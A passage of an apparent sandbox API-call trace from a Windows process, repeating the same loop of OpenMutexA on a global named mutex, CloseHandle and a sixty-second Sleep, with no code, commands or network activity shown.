(dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0127.023] CloseHandle (hObject=0xb9c) returned 1 [0127.023] Sleep (dwMilliseconds=0xea60) [0127.037] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb30 [0127.037] CloseHandle (hObject=0xb30) returned 1 [0127.037] Sleep (dwMilliseconds=0xea60) [0127.037] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb30 [0127.037] CloseHandle (hObject=0xb30) returned 1 [0127.037] Sleep (dwMilliseconds=0xea60) [0127.056] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0127.056] CloseHandle (hObject=0xb9c) returned 1 [0127.056] Sleep (dwMilliseconds=0xea60) [0127.080] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0127.080] CloseHandle (hObject=0xb9c) returned 1 [0127.080] Sleep (dwMilliseconds=0xea60) [0127.098] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0127.098] CloseHandle (hObject=0xb9c) returned 1 [0127.098] Sleep (dwMilliseconds=0xea60) [0127.114] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0127.114] CloseHandle (hObject=0xb9c) returned 1 [0127.114] Sleep (dwMilliseconds=0xea60) [0127.131] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0127.131] CloseHandle (hObject=0xb9c) returned 1 [0127.131] Sleep (dwMilliseconds=0xea60) [0127.150] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb9c [0127.150] CloseHandle (hObject=0xb9c) returned 1 [0127.150] Sleep (dwMilliseconds=0xea60) [0127.159] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb78 [0127.159] CloseHandle (hObject=0xb78) returned 1 [0127.159] Sleep (dwMilliseconds=0xea60) [0127.166] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.166] CloseHandle (hObject=0xb0c) returned 1 [0127.166] Sleep (dwMilliseconds=0xea60) [0127.188] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.188] CloseHandle (hObject=0xb0c) returned 1 [0127.188] Sleep (dwMilliseconds=0xea60) [0127.211] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.211] CloseHandle (hObject=0xb0c) returned 1 [0127.211] Sleep (dwMilliseconds=0xea60) [0127.233] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.233] CloseHandle (hObject=0xb0c) returned 1 [0127.233] Sleep (dwMilliseconds=0xea60) [0127.260] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.260] CloseHandle (hObject=0xb0c) returned 1 [0127.260] Sleep (dwMilliseconds=0xea60) [0127.283] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.283] CloseHandle (hObject=0xb0c) returned 1 [0127.284] Sleep (dwMilliseconds=0xea60) [0127.298] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb78 [0127.298] CloseHandle (hObject=0xb78) returned 1 [0127.298] Sleep (dwMilliseconds=0xea60) [0127.320] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.320] CloseHandle (hObject=0xb0c) returned 1 [0127.320] Sleep (dwMilliseconds=0xea60) [0127.342] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb78 [0127.342] CloseHandle (hObject=0xb78) returned 1 [0127.342] Sleep (dwMilliseconds=0xea60) [0127.343] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb78 [0127.343] CloseHandle (hObject=0xb78) returned 1 [0127.343] Sleep (dwMilliseconds=0xea60) [0127.363] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb78 [0127.363] CloseHandle (hObject=0xb78) returned 1 [0127.363] Sleep (dwMilliseconds=0xea60) [0127.363] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb78 [0127.363] CloseHandle (hObject=0xb78) returned 1 [0127.363] Sleep (dwMilliseconds=0xea60) [0127.389] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.389] CloseHandle (hObject=0xb0c) returned 1 [0127.389] Sleep (dwMilliseconds=0xea60) [0127.411] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.411] CloseHandle (hObject=0xb0c) returned 1 [0127.411] Sleep (dwMilliseconds=0xea60) [0127.434] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.434] CloseHandle (hObject=0xb0c) returned 1 [0127.434] Sleep (dwMilliseconds=0xea60) [0127.457] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.457] CloseHandle (hObject=0xb0c) returned 1 [0127.457] Sleep (dwMilliseconds=0xea60) [0127.480] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.480] CloseHandle (hObject=0xb0c) returned 1 [0127.480] Sleep (dwMilliseconds=0xea60) [0127.491] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb78 [0127.491] CloseHandle (hObject=0xb78) returned 1 [0127.491] Sleep (dwMilliseconds=0xea60) [0127.491] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb78 [0127.491] CloseHandle (hObject=0xb78) returned 1 [0127.492] Sleep (dwMilliseconds=0xea60) [0127.492] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb78 [0127.492] CloseHandle (hObject=0xb78) returned 1 [0127.492] Sleep (dwMilliseconds=0xea60) [0127.508] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.508] CloseHandle (hObject=0xb0c) returned 1 [0127.509] Sleep (dwMilliseconds=0xea60) [0127.531] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.532] CloseHandle (hObject=0xb0c) returned 1 [0127.532] Sleep (dwMilliseconds=0xea60) [0127.556] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.556] CloseHandle (hObject=0xb0c) returned 1 [0127.556] Sleep (dwMilliseconds=0xea60) [0127.582] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.582] CloseHandle (hObject=0xb0c) returned 1 [0127.583] Sleep (dwMilliseconds=0xea60) [0127.592] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb78 [0127.592] CloseHandle (hObject=0xb78) returned 1 [0127.592] Sleep (dwMilliseconds=0xea60) [0127.593] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb78 [0127.593] CloseHandle (hObject=0xb78) returned 1 [0127.593] Sleep (dwMilliseconds=0xea60) [0127.616] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.616] CloseHandle (hObject=0xb0c) returned 1 [0127.616] Sleep (dwMilliseconds=0xea60) [0127.633] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.633] CloseHandle (hObject=0xb0c) returned 1 [0127.633] Sleep (dwMilliseconds=0xea60) [0127.650] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.650] CloseHandle (hObject=0xb0c) returned 1 [0127.650] Sleep (dwMilliseconds=0xea60) [0127.667] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.667] CloseHandle (hObject=0xb0c) returned 1 [0127.667] Sleep (dwMilliseconds=0xea60) [0127.684] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.684] CloseHandle (hObject=0xb0c) returned 1 [0127.684] Sleep (dwMilliseconds=0xea60) [0127.702] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.702] CloseHandle (hObject=0xb0c) returned 1 [0127.702] Sleep (dwMilliseconds=0xea60) [0127.718] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.718] CloseHandle (hObject=0xb0c) returned 1 [0127.718] Sleep (dwMilliseconds=0xea60) [0127.736] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.736] CloseHandle (hObject=0xb0c) returned 1 [0127.736] Sleep (dwMilliseconds=0xea60) [0127.751] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.751] CloseHandle (hObject=0xb0c) returned 1 [0127.751] Sleep (dwMilliseconds=0xea60) [0127.752] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.752] CloseHandle (hObject=0xb0c) returned 1 [0127.752] Sleep (dwMilliseconds=0xea60) [0127.754] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.754] CloseHandle (hObject=0xb0c) returned 1 [0127.754] Sleep (dwMilliseconds=0xea60) [0127.763] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.763] CloseHandle (hObject=0xb0c) returned 1 [0127.763] Sleep (dwMilliseconds=0xea60) [0127.782] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.782] CloseHandle (hObject=0xb0c) returned 1 [0127.782] Sleep (dwMilliseconds=0xea60) [0127.798] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.798] CloseHandle (hObject=0xb0c) returned 1 [0127.798] Sleep (dwMilliseconds=0xea60) [0127.819] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.819] CloseHandle (hObject=0xb0c) returned 1 [0127.819] Sleep (dwMilliseconds=0xea60) [0127.841] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.841] CloseHandle (hObject=0xb0c) returned 1 [0127.841] Sleep (dwMilliseconds=0xea60) [0127.865] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.865] CloseHandle (hObject=0xb0c) returned 1 [0127.865] Sleep (dwMilliseconds=0xea60) [0127.887] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.887] CloseHandle (hObject=0xb0c) returned 1 [0127.887] Sleep (dwMilliseconds=0xea60) [0127.911] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.911] CloseHandle (hObject=0xb0c) returned 1 [0127.911] Sleep (dwMilliseconds=0xea60) [0127.926] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.926] CloseHandle (hObject=0xb0c) returned 1 [0127.926] Sleep (dwMilliseconds=0xea60) [0127.936] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.936] CloseHandle (hObject=0xb0c) returned 1 [0127.936] Sleep (dwMilliseconds=0xea60) [0127.958] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.959] CloseHandle (hObject=0xb0c) returned 1 [0127.959] Sleep (dwMilliseconds=0xea60) [0127.981] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.981] CloseHandle (hObject=0xb0c) returned 1 [0127.981] Sleep (dwMilliseconds=0xea60) [0127.985] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0127.986] CloseHandle (hObject=0xb0c) returned 1 [0127.986] Sleep (dwMilliseconds=0xea60) [0128.004] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.004] CloseHandle (hObject=0xb0c) returned 1 [0128.004] Sleep (dwMilliseconds=0xea60) [0128.027] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.027] CloseHandle (hObject=0xb0c) returned 1 [0128.027] Sleep (dwMilliseconds=0xea60) [0128.050] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.050] CloseHandle (hObject=0xb0c) returned 1 [0128.050] Sleep (dwMilliseconds=0xea60) [0128.073] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.073] CloseHandle (hObject=0xb0c) returned 1 [0128.073] Sleep (dwMilliseconds=0xea60) [0128.095] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.095] CloseHandle (hObject=0xb0c) returned 1 [0128.095] Sleep (dwMilliseconds=0xea60) [0128.118] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.118] CloseHandle (hObject=0xb0c) returned 1 [0128.118] Sleep (dwMilliseconds=0xea60) [0128.143] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.143] CloseHandle (hObject=0xb0c) returned 1 [0128.143] Sleep (dwMilliseconds=0xea60) [0128.165] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.165] CloseHandle (hObject=0xb0c) returned 1 [0128.165] Sleep (dwMilliseconds=0xea60) [0128.187] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.187] CloseHandle (hObject=0xb0c) returned 1 [0128.187] Sleep (dwMilliseconds=0xea60) [0128.205] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb78 [0128.205] CloseHandle (hObject=0xb78) returned 1 [0128.205] Sleep (dwMilliseconds=0xea60) [0128.205] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb78 [0128.205] CloseHandle (hObject=0xb78) returned 1 [0128.205] Sleep (dwMilliseconds=0xea60) [0128.227] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.227] CloseHandle (hObject=0xb0c) returned 1 [0128.227] Sleep (dwMilliseconds=0xea60) [0128.231] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.231] CloseHandle (hObject=0xb0c) returned 1 [0128.231] Sleep (dwMilliseconds=0xea60) [0128.232] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.232] CloseHandle (hObject=0xb0c) returned 1 [0128.251] Sleep (dwMilliseconds=0xea60) [0128.272] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.272] CloseHandle (hObject=0xb0c) returned 1 [0128.273] Sleep (dwMilliseconds=0xea60) [0128.295] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.295] CloseHandle (hObject=0xb0c) returned 1 [0128.295] Sleep (dwMilliseconds=0xea60) [0128.296] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.296] CloseHandle (hObject=0xb0c) returned 1 [0128.296] Sleep (dwMilliseconds=0xea60) [0128.297] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb78 [0128.297] CloseHandle (hObject=0xb78) returned 1 [0128.297] Sleep (dwMilliseconds=0xea60) [0128.318] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.318] CloseHandle (hObject=0xb0c) returned 1 [0128.318] Sleep (dwMilliseconds=0xea60) [0128.337] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.338] CloseHandle (hObject=0xb0c) returned 1 [0128.338] Sleep (dwMilliseconds=0xea60) [0128.338] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.338] CloseHandle (hObject=0xb0c) returned 1 [0128.338] Sleep (dwMilliseconds=0xea60) [0128.357] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.357] CloseHandle (hObject=0xb0c) returned 1 [0128.357] Sleep (dwMilliseconds=0xea60) [0128.379] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.379] CloseHandle (hObject=0xb0c) returned 1 [0128.379] Sleep (dwMilliseconds=0xea60) [0128.398] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.398] CloseHandle (hObject=0xb0c) returned 1 [0128.398] Sleep (dwMilliseconds=0xea60) [0128.416] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.416] CloseHandle (hObject=0xb0c) returned 1 [0128.416] Sleep (dwMilliseconds=0xea60) [0128.432] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.432] CloseHandle (hObject=0xb0c) returned 1 [0128.432] Sleep (dwMilliseconds=0xea60) [0128.450] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb78 [0128.450] CloseHandle (hObject=0xb78) returned 1 [0128.450] Sleep (dwMilliseconds=0xea60) [0128.450] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb78 [0128.450] CloseHandle (hObject=0xb78) returned 1 [0128.450] Sleep (dwMilliseconds=0xea60) [0128.464] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.464] CloseHandle (hObject=0xb0c) returned 1 [0128.464] Sleep (dwMilliseconds=0xea60) [0128.483] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.483] CloseHandle (hObject=0xb0c) returned 1 [0128.483] Sleep (dwMilliseconds=0xea60) [0128.501] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.501] CloseHandle (hObject=0xb0c) returned 1 [0128.501] Sleep (dwMilliseconds=0xea60) [0128.520] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.520] CloseHandle (hObject=0xb0c) returned 1 [0128.520] Sleep (dwMilliseconds=0xea60) [0128.538] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.538] CloseHandle (hObject=0xb0c) returned 1 [0128.538] Sleep (dwMilliseconds=0xea60) [0128.555] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.555] CloseHandle (hObject=0xb0c) returned 1 [0128.555] Sleep (dwMilliseconds=0xea60) [0128.573] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.573] CloseHandle (hObject=0xb0c) returned 1 [0128.573] Sleep (dwMilliseconds=0xea60) [0128.592] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.592] CloseHandle (hObject=0xb0c) returned 1 [0128.592] Sleep (dwMilliseconds=0xea60) [0128.609] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.609] CloseHandle (hObject=0xb0c) returned 1 [0128.609] Sleep (dwMilliseconds=0xea60) [0128.611] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb78 [0128.611] CloseHandle (hObject=0xb78) returned 1 [0128.611] Sleep (dwMilliseconds=0xea60) [0128.628] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.628] CloseHandle (hObject=0xb0c) returned 1 [0128.628] Sleep (dwMilliseconds=0xea60) [0128.644] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.644] CloseHandle (hObject=0xb0c) returned 1 [0128.644] Sleep (dwMilliseconds=0xea60) [0128.662] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.662] CloseHandle (hObject=0xb0c) returned 1 [0128.662] Sleep (dwMilliseconds=0xea60) [0128.679] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.679] CloseHandle (hObject=0xb0c) returned 1 [0128.679] Sleep (dwMilliseconds=0xea60) [0128.697] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.697] CloseHandle (hObject=0xb0c) returned 1 [0128.697] Sleep (dwMilliseconds=0xea60) [0128.715] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.715] CloseHandle (hObject=0xb0c) returned 1 [0128.716] Sleep (dwMilliseconds=0xea60) [0128.735] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.735] CloseHandle (hObject=0xb0c) returned 1 [0128.735] Sleep (dwMilliseconds=0xea60) [0128.753] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.753] CloseHandle (hObject=0xb0c) returned 1 [0128.753] Sleep (dwMilliseconds=0xea60) [0128.772] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.772] CloseHandle (hObject=0xb0c) returned 1 [0128.772] Sleep (dwMilliseconds=0xea60) [0128.790] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.790] CloseHandle (hObject=0xb0c) returned 1 [0128.790] Sleep (dwMilliseconds=0xea60) [0128.809] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xb0c [0128.809] CloseHandle (hObject=0xb0c) returned 1 [0128.809] Sleep 